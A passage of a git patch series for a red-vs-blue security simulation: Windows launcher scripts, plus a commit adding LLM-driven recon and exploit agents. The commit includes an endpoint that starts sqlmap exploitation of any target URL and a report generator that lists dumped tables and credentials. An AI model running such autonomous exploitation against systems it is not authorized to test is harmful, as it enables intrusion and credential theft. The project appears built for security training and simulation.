/c "cd /d %ROOT_DIR%blue_agent\frontend && npm run dev -- --port 5174 --strictPort" + echo [BLUE] Blue frontend starting on port 5174 +) +goto :wait_and_print + +:: ── START RED ─────────────────────────────────────────────────────── +:start_red +start "[RED] Backend :8001" /min cmd /c "set PYTHONPATH=%ROOT_DIR% && %PYTHON% -m uvicorn red_agent.backend.main:app --host 0.0.0.0 --port 8001 --log-level info --reload --reload-dir red_agent --reload-dir core" +echo [RED] Red backend starting on port 8001 +if "%HAS_NODE%"=="1" ( + timeout /t 3 /nobreak >nul + start "[RED] Frontend :5173" /min cmd /c "cd /d %ROOT_DIR%red_agent\frontend && npm run dev -- --port 5173 --strictPort" + echo [RED] Red frontend starting on port 5173 +) +goto :wait_and_print + +:: ── START BACKENDS ────────────────────────────────────────────────── +:start_backends +start "[RED] Backend :8001" /min cmd /c "set PYTHONPATH=%ROOT_DIR% && %PYTHON% -m uvicorn red_agent.backend.main:app --host 0.0.0.0 --port 8001 --log-level info --reload --reload-dir red_agent --reload-dir core" +echo [RED] Red backend starting on port 8001 +start "[BLUE] Backend :8002" /min cmd /c "set PYTHONPATH=%ROOT_DIR% && %PYTHON% -m uvicorn blue_agent.backend.main:app --host 0.0.0.0 --port 8002 --log-level info --reload --reload-dir blue_agent --reload-dir core" +echo [BLUE] Blue backend starting on port 8002 +goto :wait_and_print + +:: ── Wait for ports + print URLs ───────────────────────────────────── +:wait_and_print +echo. +echo [INFO] Waiting for services to start... +timeout /t 5 /nobreak >nul + +:: Check health endpoints +%PYTHON% -c "import urllib.request; urllib.request.urlopen('http://localhost:8002/health', timeout=5)" >nul 2>&1 +if %errorlevel%==0 ( + echo [INFO] Blue backend is ready on port 8002 +) else ( + echo [WARN] Blue backend not responding yet (may still be starting^) +) +%PYTHON% -c "import urllib.request; urllib.request.urlopen('http://localhost:8001/health', timeout=5)" >nul 2>&1 +if %errorlevel%==0 ( + echo [INFO] Red backend is ready on port 8001 +) else ( + echo [WARN] Red backend not responding yet (may still be starting^) +) + +echo. +echo ================================================================ +echo Services Running: +echo ================================================================ +echo. +echo Red Agent +echo Backend API: http://localhost:8001 +echo Health check: http://localhost:8001/health +echo WebSocket: ws://localhost:8001/ws/red +if "%HAS_NODE%"=="1" echo Dashboard: http://localhost:5173 +echo. +echo Blue Agent +echo Backend API: http://localhost:8002 +echo Health check: http://localhost:8002/health +echo WebSocket: ws://localhost:8002/ws/blue +echo API Docs: http://localhost:8002/docs +if "%HAS_NODE%"=="1" echo Dashboard: http://localhost:5174 +echo. +echo Blue API Routes: +echo /defend/* Defense actions +echo /patch/* Patch management +echo /scan/* Asset inventory, vulnerabilities, SSH scan +echo /environment/* Cloud/OnPrem/Hybrid monitoring +echo /strategy/* Defense plans, evolution, status +echo. +echo ================================================================ +echo Press Ctrl+C to stop all services +echo (Close this window to stop everything^) +echo ================================================================ +echo. +echo Tailing Blue backend... (services run in background windows^) +echo. + +:: Keep this window alive β€” closing it signals the user is done +cmd /k "echo Services are running. Type 'exit' or close window to stop." +goto :cleanup + +:: ── Cleanup ───────────────────────────────────────────────────────── +:cleanup +echo. +echo [INFO] Shutting down all services... +taskkill /fi "WINDOWTITLE eq [RED]*" /f >nul 2>&1 +taskkill /fi "WINDOWTITLE eq [BLUE]*" /f >nul 2>&1 +echo [INFO] All services stopped. +exit /b 0 + +:: ── Tests ─────────────────────────────────────────────────────────── +:run_tests +echo [INFO] Running Blue Agent test suite... +echo. +set "PYTHONPATH=%ROOT_DIR%" +%PYTHON% tests\test_blue\test_detection.py +echo. +%PYTHON% tests\test_blue\test_response.py +echo. +%PYTHON% tests\test_blue\test_patching.py +echo. +echo [INFO] All tests complete. +exit /b 0 + +:: ── Docker ────────────────────────────────────────────────────────── +:run_docker +where docker >nul 2>&1 +if %errorlevel% neq 0 ( + echo [ERROR] Docker not found. Please install Docker Desktop. + exit /b 1 +) +if not exist "%ROOT_DIR%.env" ( + copy "%ROOT_DIR%.env.example" "%ROOT_DIR%.env" >nul 2>&1 +) +echo [INFO] Starting all services via Docker Compose... +docker compose up --build +exit /b 0 + +:: ── Usage ─────────────────────────────────────────────────────────── +:usage +echo Usage: run.bat [mode] +echo. +echo Modes: +echo all Start all services (default^) +echo blue Start Blue Agent only (backend + frontend^) +echo red Start Red Agent only (backend + frontend^) +echo backends Start both backends only (no frontends^) +echo docker Start everything via Docker Compose +echo test Run all Blue Agent tests +echo. +exit /b 0 + +:: ── Helper: install npm deps ──────────────────────────────────────── +:install_npm +set "FDIR=%~1" +set "FNAME=%~2" +if exist "%FDIR%\package.json" ( + if not exist "%FDIR%\node_modules" ( + echo [INFO] Installing %FNAME% frontend dependencies... + pushd "%FDIR%" + call npm install --silent >nul 2>&1 + popd + ) else ( + echo [INFO] %FNAME% frontend dependencies already installed + ) +) +exit /b 0 + +:: ── Helper: free port ─────────────────────────────────────────────── +:free_port +set "FPORT=%~1" +for /f "tokens=5" %%p in ('netstat -ano ^| findstr ":%FPORT% " ^| findstr "LISTENING" 2^>nul') do ( + if not "%%p"=="0" ( + echo [WARN] Port %FPORT% in use (PID %%p^) - killing + taskkill /pid %%p /f >nul 2>&1 + ) +) +exit /b 0 diff --git a/run.ps1 b/run.ps1 new file mode 100644 index 000000000..5d711e75d --- /dev/null +++ b/run.ps1 @@ -0,0 +1,302 @@ +# ====================================================================== +# HTF 4.0 - Red vs Blue Autonomous Security Simulation +# Windows PowerShell automated launcher +# ====================================================================== + +param( + [ValidateSet("all", "blue", "red", "backends", "docker", "test", "help")] + [string]$Mode = "all" +) + +$ErrorActionPreference = "Stop" +$RootDir = Split-Path -Parent $MyInvocation.MyCommand.Path +Set-Location $RootDir + +$Jobs = @() + +# ── Colors ─────────────────────────────────────────────────────────── +function Log-Info { param($msg) Write-Host "[INFO] $msg" -ForegroundColor Green } +function Log-Warn { param($msg) Write-Host "[WARN] $msg" -ForegroundColor Yellow } +function Log-Error { param($msg) Write-Host "[ERROR] $msg" -ForegroundColor Red } +function Log-Blue { param($msg) Write-Host "[BLUE] $msg" -ForegroundColor Blue } +function Log-Red { param($msg) Write-Host "[RED] $msg" -ForegroundColor Red } + +# ── Banner ─────────────────────────────────────────────────────────── +function Show-Banner { + Write-Host "" + Write-Host "================================================================" -ForegroundColor Cyan + Write-Host " HTF 4.0 - Red vs Blue Autonomous Security Simulation" -ForegroundColor Cyan + Write-Host "================================================================" -ForegroundColor Cyan + Write-Host "" +} + +# ── Help ───────────────────────────────────────────────────────────── +if ($Mode -eq "help") { + Write-Host "Usage: .\run.ps1 [-Mode ]" + Write-Host "" + Write-Host "Modes:" + Write-Host " all Start all services (default)" + Write-Host " blue Start Blue Agent only (backend + frontend)" + Write-Host " red Start Red Agent only (backend + frontend)" + Write-Host " backends Start both backends only (no frontends)" + Write-Host " docker Start everything via Docker Compose" + Write-Host " test Run all Blue Agent tests" + exit 0 +} + +Show-Banner + +# ── Detect Python ──────────────────────────────────────────────────── +$Python = $null +foreach ($cmd in @("python", "python3", "py")) { + try { + $ver = & $cmd --version 2>&1 + if ($ver -match "Python 3") { + $Python = $cmd + break + } + } catch {} +} +if (-not $Python) { + Log-Error "Python 3 not found. Please install Python 3.9+." + exit 1 +} +$PyVer = & $Python --version 2>&1 +Log-Info "Python: $PyVer ($Python)" + +# ── Detect Node ────────────────────────────────────────────────────── +$HasNode = $false +try { + $NodeVer = & node --version 2>&1 + Log-Info "Node.js: $NodeVer" + $null = & npm --version 2>&1 + $HasNode = $true +} catch { + Log-Warn "Node.js/npm not found. Frontends will not be started." +} +Write-Host "" + +# ── Tests ──────────────────────────────────────────────────────────── +if ($Mode -eq "test") { + Log-Info "Running Blue Agent test suite..." + Write-Host "" + $env:PYTHONPATH = $RootDir + & $Python tests/test_blue/test_detection.py + Write-Host "" + & $Python tests/test_blue/test_response.py + Write-Host "" + & $Python tests/test_blue/test_patching.py + Write-Host "" + Log-Info "All tests complete." + exit 0 +} + +# ── Docker ─────────────────────────────────────────────────────────── +if ($Mode -eq "docker") { + try { $null = & docker --version 2>&1 } catch { + Log-Error "Docker not found. Please install Docker Desktop." + exit 1 + } + if (-not (Test-Path "$RootDir\.env")) { + Copy-Item "$RootDir\.env.example" "$RootDir\.env" + } + Log-Info "Starting all services via Docker Compose..." + & docker compose up --build + exit 0 +} + +# ── Setup .env ─────────────────────────────────────────────────────── +if (-not (Test-Path "$RootDir\.env")) { + Log-Warn ".env not found - creating from .env.example" + Copy-Item "$RootDir\.env.example" "$RootDir\.env" + Log-Info "Created .env (edit it to add API keys if needed)" +} else { + Log-Info ".env file found" +} + +# Load .env into current process +if (Test-Path "$RootDir\.env") { + Get-Content "$RootDir\.env" | ForEach-Object { + if ($_ -match "^\s*([^#][^=]+)=(.+)$") { + [Environment]::SetEnvironmentVariable($Matches[1].Trim(), $Matches[2].Trim(), "Process") + } + } + Log-Info "Loaded environment from .env" +} + +# ── Install Python deps ────────────────────────────────────────────── +Log-Info "Installing Python dependencies..." +& $Python -m pip install -r "$RootDir\requirements.txt" --quiet 2>$null +Log-Info "Python dependencies ready" + +# ── Install frontend deps ──────────────────────────────────────────── +function Install-Npm($dir, $name) { + if ((Test-Path "$dir\package.json") -and -not (Test-Path "$dir\node_modules")) { + Log-Info "Installing $name frontend dependencies..." + Push-Location $dir + & npm install --silent 2>$null + Pop-Location + } elseif (Test-Path "$dir\node_modules") { + Log-Info "$name frontend dependencies already installed" + } +} + +if ($HasNode) { + if ($Mode -in @("all", "blue")) { Install-Npm "$RootDir\blue_agent\frontend" "Blue" } + if ($Mode -in @("all", "red")) { Install-Npm "$RootDir\red_agent\frontend" "Red" } +} +Write-Host "" + +# ── Free ports ─────────────────────────────────────────────────────── +function Free-Port($port) { + $connections = Get-NetTCPConnection -LocalPort $port -State Listen -ErrorAction SilentlyContinue + foreach ($conn in $connections) { + $pid = $conn.OwningProcess + if ($pid -and $pid -ne 0) { + Log-Warn "Port $port in use (PID $pid) - killing" + Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue + } + } +} + +Log-Info "Freeing required ports..." +$portsToFree = switch ($Mode) { + "all" { @(8001, 8002, 5173, 5174) } + "blue" { @(8002, 5174) } + "red" { @(8001, 5173) } + "backends" { @(8001, 8002) } +} +foreach ($p in $portsToFree) { Free-Port $p } + +# ── Start services ─────────────────────────────────────────────────── +Log-Info "Starting services (mode: $Mode)..." +Write-Host "" + +function Start-Backend($name, $module, $port, $color, $reloadDir) { + $job = Start-Job -Name "$name-backend" -ScriptBlock { + param($py, $root, $mod, $p, $rd) + Set-Location $root + $env:PYTHONPATH = $root + & $py -m uvicorn "$mod" --host 0.0.0.0 --port $p --log-level info --reload --reload-dir $rd --reload-dir core + } -ArgumentList $Python, $RootDir, $module, $port, $reloadDir + Write-Host "[$color] $name backend starting on port $port (Job $($job.Id))" -ForegroundColor $(if ($color -eq "RED") {"Red"} else {"Blue"}) + return $job +} + +function Start-Frontend($name, $dir, $port, $color) { + $job = Start-Job -Name "$name-frontend" -ScriptBlock { + param($d, $p) + Set-Location $d + & npm run dev -- --port $p --strictPort + } -ArgumentList $dir, $port + Write-Host "[$color] $name frontend starting on port $port (Job $($job.Id))" -ForegroundColor $(if ($color -eq "RED") {"Red"} else {"Blue"}) + return $job +} + +switch ($Mode) { + "all" { + $Jobs += Start-Backend "Red" "red_agent.backend.main:app" 8001 "RED" "red_agent" + $Jobs += Start-Backend "Blue" "blue_agent.backend.main:app" 8002 "BLUE" "blue_agent" + if ($HasNode) { + Start-Sleep -Seconds 3 + $Jobs += Start-Frontend "Red" "$RootDir\red_agent\frontend" 5173 "RED" + $Jobs += Start-Frontend "Blue" "$RootDir\blue_agent\frontend" 5174 "BLUE" + } + } + "blue" { + $Jobs += Start-Backend "Blue" "blue_agent.backend.main:app" 8002 "BLUE" "blue_agent" + if ($HasNode) { + Start-Sleep -Seconds 3 + $Jobs += Start-Frontend "Blue" "$RootDir\blue_agent\frontend" 5174 "BLUE" + } + } + "red" { + $Jobs += Start-Backend "Red" "red_agent.backend.main:app" 8001 "RED" "red_agent" + if ($HasNode) { + Start-Sleep -Seconds 3 + $Jobs += Start-Frontend "Red" "$RootDir\red_agent\frontend" 5173 "RED" + } + } + "backends" { + $Jobs += Start-Backend "Red" "red_agent.backend.main:app" 8001 "RED" "red_agent" + $Jobs += Start-Backend "Blue" "blue_agent.backend.main:app" 8002 "BLUE" "blue_agent" + } +} + +# ── Wait for services ──────────────────────────────────────────────── +Write-Host "" +Log-Info "Waiting for services to start..." +Start-Sleep -Seconds 5 + +function Test-Port($port) { + try { + $tcp = New-Object System.Net.Sockets.TcpClient + $tcp.Connect("localhost", $port) + $tcp.Close() + return $true + } catch { return $false } +} + +if ($Mode -in @("all", "backends", "red")) { + if (Test-Port 8001) { Log-Info "Red backend is ready on port 8001" } + else { Log-Warn "Red backend not responding yet" } +} +if ($Mode -in @("all", "backends", "blue")) { + if (Test-Port 8002) { Log-Info "Blue backend is ready on port 8002" } + else { Log-Warn "Blue backend not responding yet" } +} + +# ── Print URLs ─────────────────────────────────────────────────────── +Write-Host "" +Write-Host "================================================================" -ForegroundColor Cyan +Write-Host " Services Running:" -ForegroundColor Cyan +Write-Host "================================================================" -ForegroundColor Cyan +Write-Host "" +Write-Host " Red Agent" -ForegroundColor Red +Write-Host " Backend API: http://localhost:8001" +Write-Host " Health check: http://localhost:8001/health" +Write-Host " WebSocket: ws://localhost:8001/ws/red" +if ($HasNode) { Write-Host " Dashboard: http://localhost:5173" } +Write-Host "" +Write-Host " Blue Agent" -ForegroundColor Blue +Write-Host " Backend API: http://localhost:8002" +Write-Host " Health check: http://localhost:8002/health" +Write-Host " WebSocket: ws://localhost:8002/ws/blue" +Write-Host " API Docs: http://localhost:8002/docs" +if ($HasNode) { Write-Host " Dashboard: http://localhost:5174" } +Write-Host "" +Write-Host " Blue API Routes:" -ForegroundColor Blue +Write-Host " /defend/* Defense actions" +Write-Host " /patch/* Patch management" +Write-Host " /scan/* Asset inventory, vulnerabilities, SSH scan" +Write-Host " /environment/* Cloud/OnPrem/Hybrid monitoring" +Write-Host " /strategy/* Defense plans, evolution, status" +Write-Host "" +Write-Host "================================================================" -ForegroundColor Cyan +Write-Host " Press Ctrl+C to stop all services" -ForegroundColor Yellow +Write-Host "================================================================" -ForegroundColor Cyan +Write-Host "" + +# ── Keep alive + cleanup on exit ───────────────────────────────────── +try { + while ($true) { + Start-Sleep -Seconds 5 + # Check if any job has failed + foreach ($job in $Jobs) { + if ($job.State -eq "Failed") { + Log-Error "Job $($job.Name) failed:" + Receive-Job $job + } + } + } +} finally { + Write-Host "" + Log-Warn "Shutting down all services..." + foreach ($job in $Jobs) { + Stop-Job $job -ErrorAction SilentlyContinue + Remove-Job $job -Force -ErrorAction SilentlyContinue + } + # Kill any remaining processes on our ports + foreach ($p in $portsToFree) { Free-Port $p } + Log-Info "All services stopped." +} From e22ae00c9ca1dced3f091bd0eb5e21b601ad5403 Mon Sep 17 00:00:00 2001 From: PratibhaDevi29 Date: Thu, 16 Apr 2026 14:00:49 +0530 Subject: [PATCH 15/26] feat(red_agent): add autonomous recon + exploit agents with Groq function calling MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Recon Agent: Groq SDK function calling, LLM decides tools (nmap, nuclei, gobuster, ffuf, sqlmap) - Exploit Agent: LLM-driven SQLi/LFI/CmdInjection exploitation with deterministic fallback - Auto-trigger: recon.complete β†’ EventBus β†’ exploit starts autonomously - CVE Fetcher: NVD API integration - Report: downloadable pentest report at /report/download/{id} - EventBus: async pub/sub connecting both agents - 6 passing tests Co-Authored-By: Claude Opus 4.6 (1M context) --- red_agent/backend/main.py | 2 + red_agent/backend/routers/exploit_routes.py | 53 +- red_agent/backend/routers/report_routes.py | 319 ++ red_agent/backend/services/red_service.py | 70 +- red_agent/exploiter/exploit_agent.py | 763 +++ red_agent/scanner/arsenal_tools.py | 211 + red_agent/scanner/cve_fetcher.py | 129 + red_agent/scanner/recon_agent.py | 828 ++++ tests/test_red/test_recon_agent.py | 248 + wordlists/common.txt | 4751 +++++++++++++++++++ 10 files changed, 7364 insertions(+), 10 deletions(-) create mode 100644 red_agent/backend/routers/report_routes.py create mode 100644 red_agent/exploiter/exploit_agent.py create mode 100644 red_agent/scanner/arsenal_tools.py create mode 100644 red_agent/scanner/cve_fetcher.py create mode 100644 red_agent/scanner/recon_agent.py create mode 100644 tests/test_red/test_recon_agent.py create mode 100644 wordlists/common.txt diff --git a/red_agent/backend/main.py b/red_agent/backend/main.py index d9ebfad22..7299c7537 100644 --- a/red_agent/backend/main.py +++ b/red_agent/backend/main.py @@ -15,6 +15,7 @@ scan_routes, strategy_routes, ) +from red_agent.backend.routers import report_routes from red_agent.backend.websocket import red_ws RED_API_PORT = 8001 @@ -44,6 +45,7 @@ async def lifespan(app: FastAPI): app.include_router(scan_routes.router, prefix="/scan", tags=["scan"]) app.include_router(exploit_routes.router, prefix="/exploit", tags=["exploit"]) +app.include_router(report_routes.router, prefix="/report", tags=["report"]) app.include_router(strategy_routes.router, prefix="/strategy", tags=["strategy"]) app.include_router(red_ws.router, tags=["websocket"]) diff --git a/red_agent/backend/routers/exploit_routes.py b/red_agent/backend/routers/exploit_routes.py index e7a2a12b5..782074ade 100644 --- a/red_agent/backend/routers/exploit_routes.py +++ b/red_agent/backend/routers/exploit_routes.py @@ -1,6 +1,7 @@ """Exploit endpoints for the Red Agent.""" -from fastapi import APIRouter +from fastapi import APIRouter, HTTPException +from pydantic import BaseModel from red_agent.backend.schemas.red_schemas import ( CVELookupRequest, @@ -9,10 +10,60 @@ ExploitResult, ) from red_agent.backend.services import red_service +from red_agent.exploiter.exploit_agent import ( + run_exploit_session, + get_exploit_result, + has_exploit_session, + list_exploit_sessions, +) router = APIRouter() +class AutoExploitRequest(BaseModel): + target_url: str + recon_session_id: str | None = None + vulnerability_type: str = "sqli" + recon_context: list[dict] | None = None + + +class AutoExploitResponse(BaseModel): + exploit_id: str + status: str + message: str + + +@router.post("/auto", response_model=AutoExploitResponse) +async def start_auto_exploit(request: AutoExploitRequest) -> AutoExploitResponse: + """Start autonomous exploitation agent. It will use sqlmap to exploit SQLi and dump data.""" + exploit_id = await run_exploit_session( + target_url=request.target_url, + recon_session_id=request.recon_session_id or "", + vulnerability_type=request.vulnerability_type, + recon_context=request.recon_context, + ) + return AutoExploitResponse( + exploit_id=exploit_id, + status="started", + message=f"Exploit agent started on {request.target_url}. Poll /exploit/auto/{exploit_id} for results.", + ) + + +@router.get("/auto/sessions/all") +async def get_all_exploit_sessions() -> dict: + return {"sessions": list_exploit_sessions()} + + +@router.get("/auto/{exploit_id}") +async def get_exploit_status(exploit_id: str) -> dict: + if not has_exploit_session(exploit_id): + raise HTTPException(status_code=404, detail=f"Exploit session {exploit_id} not found") + result = get_exploit_result(exploit_id) + if result is None: + return {"exploit_id": exploit_id, "status": "running", "message": "Exploitation in progress..."} + return result.to_dict() + + @router.post("/lookup_cve", response_model=CVELookupResult) async def lookup_cve(request: CVELookupRequest) -> CVELookupResult: return await red_service.lookup_cve(request) diff --git a/red_agent/backend/routers/report_routes.py b/red_agent/backend/routers/report_routes.py new file mode 100644 index 000000000..43f7c8372 --- /dev/null +++ b/red_agent/backend/routers/report_routes.py @@ -0,0 +1,319 @@ +"""Report generation and download endpoints.""" + +from __future__ import annotations + +import json +from datetime import datetime, timezone +from io import BytesIO + +from fastapi import APIRouter, HTTPException +from fastapi.responses import StreamingResponse + +from red_agent.scanner.recon_agent import get_session_result as get_recon, list_sessions as list_recon +from red_agent.exploiter.exploit_agent import get_exploit_result, list_exploit_sessions + +router = APIRouter() + + +def _generate_report(recon_id: str | None, exploit_id: str | None) -> str: + """Generate a full pentest report combining recon + exploit findings.""" + + recon = get_recon(recon_id) if recon_id else None + exploit = get_exploit_result(exploit_id) if exploit_id else None + + # If only recon_id given, find the linked exploit + if recon and not exploit: + for sess in list_exploit_sessions(): + er = get_exploit_result(sess["exploit_id"]) + if er and er.recon_session_id == recon_id: + exploit = er + break + + now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + target = (recon.target if recon else exploit.target if exploit else "Unknown") + + lines = [] + lines.append("=" * 70) + lines.append(" RED TEAM AUTONOMOUS PENETRATION TEST REPORT") + lines.append("=" * 70) + lines.append("") + lines.append(f" Generated : {now}") + lines.append(f" Target : {target}") + if recon: + lines.append(f" Recon ID : {recon.session_id}") + if exploit: + lines.append(f" Exploit ID: {exploit.exploit_id}") + lines.append(f" Status : {'COMPLETE' if (recon and exploit) else 'PARTIAL'}") + lines.append("") + + # ---------- EXECUTIVE SUMMARY ---------- + lines.append("-" * 70) + lines.append(" 1. EXECUTIVE SUMMARY") + lines.append("-" * 70) + lines.append("") + + risk = recon.risk_score if recon else 0 + creds_count = len(exploit.credentials_found) if exploit else 0 + vectors_count = len(recon.attack_vectors) if recon else 0 + + if risk >= 8: + severity = "CRITICAL" + elif risk >= 5: + severity = "HIGH" + elif risk >= 3: + severity = "MEDIUM" + else: + severity = "LOW" + + lines.append(f" Overall Risk Score : {risk}/10 ({severity})") + lines.append(f" Vulnerabilities : {vectors_count} found") + lines.append(f" Credentials Leaked : {creds_count}") + if exploit: + lines.append(f" Databases Found : {len(exploit.databases_found)}") + lines.append(f" DBMS : {exploit.dbms or 'N/A'}") + lines.append("") + + if creds_count > 0: + lines.append(" *** CRITICAL: User credentials were successfully exfiltrated. ***") + lines.append(" *** Immediate remediation required. ***") + lines.append("") + + # ---------- RECON PHASE ---------- + if recon: + lines.append("-" * 70) + lines.append(" 2. RECONNAISSANCE PHASE") + lines.append("-" * 70) + lines.append("") + lines.append(f" Context : {recon.context}") + lines.append(f" Duration : {recon.duration_seconds}s") + lines.append(f" Tools Used : {', '.join(recon.tools_run)}") + lines.append(f" CVEs Fetched : {recon.cves_fetched}") + lines.append("") + + # Open Ports + lines.append(" 2.1 Open Ports") + lines.append(" " + "-" * 40) + if recon.open_ports: + for port in recon.open_ports: + lines.append(f" - Port {port}") + else: + lines.append(" No open ports discovered.") + lines.append("") + + # Tech Stack + lines.append(" 2.2 Technology Stack") + lines.append(" " + "-" * 40) + if recon.tech_stack: + for tech in recon.tech_stack: + lines.append(f" - {tech}") + else: + lines.append(" No technologies identified.") + lines.append("") + + # Attack Vectors + lines.append(" 2.3 Attack Vectors Discovered") + lines.append(" " + "-" * 40) + if recon.attack_vectors: + for i, v in enumerate(recon.attack_vectors, 1): + lines.append(f" [{i}] {v.get('type', 'Unknown')}") + lines.append(f" Path : {v.get('path', 'N/A')}") + lines.append(f" Priority : {v.get('priority', 'N/A').upper()}") + lines.append(f" Evidence : {v.get('evidence', 'N/A')}") + lines.append(f" MITRE : {v.get('mitre_technique', 'N/A')}") + lines.append(f" Tool : {v.get('recommended_tool', 'N/A')}") + lines.append("") + else: + lines.append(" No attack vectors identified.") + lines.append("") + + # ---------- EXPLOIT PHASE ---------- + if exploit: + lines.append("-" * 70) + lines.append(" 3. EXPLOITATION PHASE") + lines.append("-" * 70) + lines.append("") + lines.append(f" Vulnerability : {exploit.vulnerability_type}") + lines.append(f" Target : {exploit.injection_point}") + lines.append(f" Duration : {exploit.duration_seconds}s") + lines.append(f" Tools Used : {', '.join(exploit.tools_run)}") + lines.append(f" Status : {exploit.status.upper()}") + lines.append("") + + # Databases + lines.append(" 3.1 Databases Discovered") + lines.append(" " + "-" * 40) + if exploit.databases_found: + lines.append(f" DBMS: {exploit.dbms}") + for db in exploit.databases_found: + lines.append(f" - {db}") + tables = exploit.tables_found.get(db, []) + if tables: + for t in tables: + marker = " *** SENSITIVE" if t.lower() in ("users", "credentials", "accounts", "admin") else "" + lines.append(f" └── {t}{marker}") + else: + lines.append(" No databases discovered.") + lines.append("") + + # Exfiltrated Data + lines.append(" 3.2 Data Exfiltrated") + lines.append(" " + "-" * 40) + if exploit.data_exfiltrated: + for dump in exploit.data_exfiltrated: + db = dump.get("database", "") + table = dump.get("table", "") + cols = dump.get("columns", []) + rows = dump.get("sample_rows", []) + row_count = dump.get("row_count", 0) + + if table: + lines.append(f" Table: {db}.{table} ({row_count} rows)") + if cols: + lines.append(f" Columns: {', '.join(cols)}") + lines.append("") + + if rows: + # Table header + col_widths = {} + for c in cols: + col_widths[c] = max(len(c), max((len(str(r.get(c, ""))) for r in rows), default=4)) + col_widths[c] = min(col_widths[c], 30) + + header = " | " + " | ".join(c.ljust(col_widths.get(c, 10))[:30] for c in cols) + " |" + sep = " +" + "+".join("-" * (col_widths.get(c, 10) + 2) for c in cols) + "+" + + lines.append(sep) + lines.append(header) + lines.append(sep) + for row in rows[:20]: + row_line = " | " + " | ".join( + str(row.get(c, "")).ljust(col_widths.get(c, 10))[:30] + for c in cols + ) + " |" + lines.append(row_line) + lines.append(sep) + lines.append("") + else: + lines.append(" No data exfiltrated.") + lines.append("") + + # CREDENTIALS - THE MONEY SHOT + lines.append(" 3.3 CREDENTIALS FOUND") + lines.append(" " + "=" * 40) + if exploit.credentials_found: + lines.append("") + lines.append(" *** WARNING: PLAINTEXT/HASHED CREDENTIALS EXTRACTED ***") + lines.append("") + lines.append(f" {'Username':<30} {'Password/Hash':<40}") + lines.append(f" {'-'*30} {'-'*40}") + for cred in exploit.credentials_found: + u = cred.get("username", "N/A") + p = cred.get("password_hash", "N/A") + lines.append(f" {u:<30} {p:<40}") + lines.append("") + lines.append(f" Total: {len(exploit.credentials_found)} credential(s) exfiltrated") + else: + lines.append(" No credentials found.") + lines.append("") + + # ---------- RECOMMENDATIONS ---------- + lines.append("-" * 70) + lines.append(" 4. RECOMMENDATIONS") + lines.append("-" * 70) + lines.append("") + + if recon and recon.attack_vectors: + for v in recon.attack_vectors: + vtype = v.get("type", "").lower() + if "sql" in vtype: + lines.append(" [CRITICAL] SQL Injection Remediation:") + lines.append(" - Use parameterized queries / prepared statements") + lines.append(" - Implement input validation and sanitization") + lines.append(" - Use an ORM instead of raw SQL queries") + lines.append(" - Deploy a Web Application Firewall (WAF)") + lines.append("") + if "lfi" in vtype or "traversal" in vtype: + lines.append(" [HIGH] LFI / Path Traversal Remediation:") + lines.append(" - Never use user input directly in file paths") + lines.append(" - Implement whitelist-based file access") + lines.append(" - Use chroot or containerization") + lines.append(" - Disable directory traversal in web server config") + lines.append("") + if "command" in vtype or "rce" in vtype: + lines.append(" [CRITICAL] Command Injection Remediation:") + lines.append(" - Never pass user input to system commands") + lines.append(" - Use language-native libraries instead of shell commands") + lines.append(" - Implement strict input validation (whitelist)") + lines.append(" - Run services with minimal OS privileges") + lines.append("") + if "brute" in vtype or "ssh" in vtype: + lines.append(" [MEDIUM] Brute Force / Auth Remediation:") + lines.append(" - Implement account lockout after N failed attempts") + lines.append(" - Add CAPTCHA on login forms") + lines.append(" - Enforce strong password policies") + lines.append(" - Use multi-factor authentication (MFA)") + lines.append("") + + lines.append(" General Recommendations:") + lines.append(" - Keep all software and dependencies up to date") + lines.append(" - Conduct regular penetration testing") + lines.append(" - Implement network segmentation") + lines.append(" - Enable logging and monitoring for all services") + lines.append(" - Follow OWASP Top 10 guidelines") + lines.append("") + + # ---------- FOOTER ---------- + lines.append("=" * 70) + lines.append(" Report generated by: Red Team Autonomous Agent") + lines.append(" Agents: Recon Agent (Groq LLM) + Exploit Agent (Groq LLM)") + lines.append(" Tools: nmap, nuclei, gobuster, ffuf, sqlmap, hydra") + lines.append(" Framework: Groq SDK (function calling)") + lines.append(f" Timestamp: {now}") + lines.append("=" * 70) + + return "\n".join(lines) + + +@router.get("/download/{recon_session_id}") +async def download_report(recon_session_id: str, exploit_id: str | None = None): + """Download full pentest report as a text file.""" + recon = get_recon(recon_session_id) + if not recon: + raise HTTPException(status_code=404, detail="Recon session not found") + + report = _generate_report(recon_session_id, exploit_id) + target_safe = recon.target.replace("http://", "").replace("https://", "").replace("/", "_").replace(":", "-") + filename = f"pentest_report_{target_safe}_{recon_session_id}.txt" + + buffer = BytesIO(report.encode("utf-8")) + return StreamingResponse( + buffer, + media_type="text/plain", + headers={"Content-Disposition": f"attachment; filename={filename}"}, + ) + + +@router.get("/view/{recon_session_id}") +async def view_report(recon_session_id: str, exploit_id: str | None = None): + """View report as JSON (for frontend rendering).""" + recon = get_recon(recon_session_id) + if not recon: + raise HTTPException(status_code=404, detail="Recon session not found") + + exploit = get_exploit_result(exploit_id) if exploit_id else None + if not exploit: + for sess in list_exploit_sessions(): + er = get_exploit_result(sess["exploit_id"]) + if er and er.recon_session_id == recon_session_id: + exploit = er + break + + return { + "target": recon.target, + "risk_score": recon.risk_score, + "recon": recon.to_dict(), + "exploit": exploit.to_dict() if exploit else None, + "credentials_found": exploit.credentials_found if exploit else [], + "databases": exploit.databases_found if exploit else [], + "download_url": f"/report/download/{recon_session_id}", + } diff --git a/red_agent/backend/services/red_service.py b/red_agent/backend/services/red_service.py index ba97b335d..b564b305e 100644 --- a/red_agent/backend/services/red_service.py +++ b/red_agent/backend/services/red_service.py @@ -21,6 +21,12 @@ list_sessions as _list_sessions, run_recon_session, ) +from red_agent.exploiter.exploit_agent import ( + run_exploit_session as _run_exploit, + get_exploit_result as _get_exploit_result, + list_exploit_sessions as _list_exploit_sessions, + ExploitAgentResult, +) from red_agent.backend.schemas.red_schemas import ( CVELookupRequest, @@ -191,21 +197,67 @@ def _ensure_recon_subscriptions() -> None: async def _on_recon_complete(data: dict) -> None: + session_id = data.get("session_id", "") + vectors = data.get("attack_vectors") or [] + risk = data.get("risk_score", 0) + target = data.get("target", "") + _logger.info( "[RedService] recon complete session=%s risk=%s vectors=%s", - data.get("session_id"), - data.get("risk_score"), - len(data.get("attack_vectors") or []), + session_id, risk, len(vectors), ) _LOG_HISTORY.append( - LogEntry( - level="INFO", - message=( - f"recon 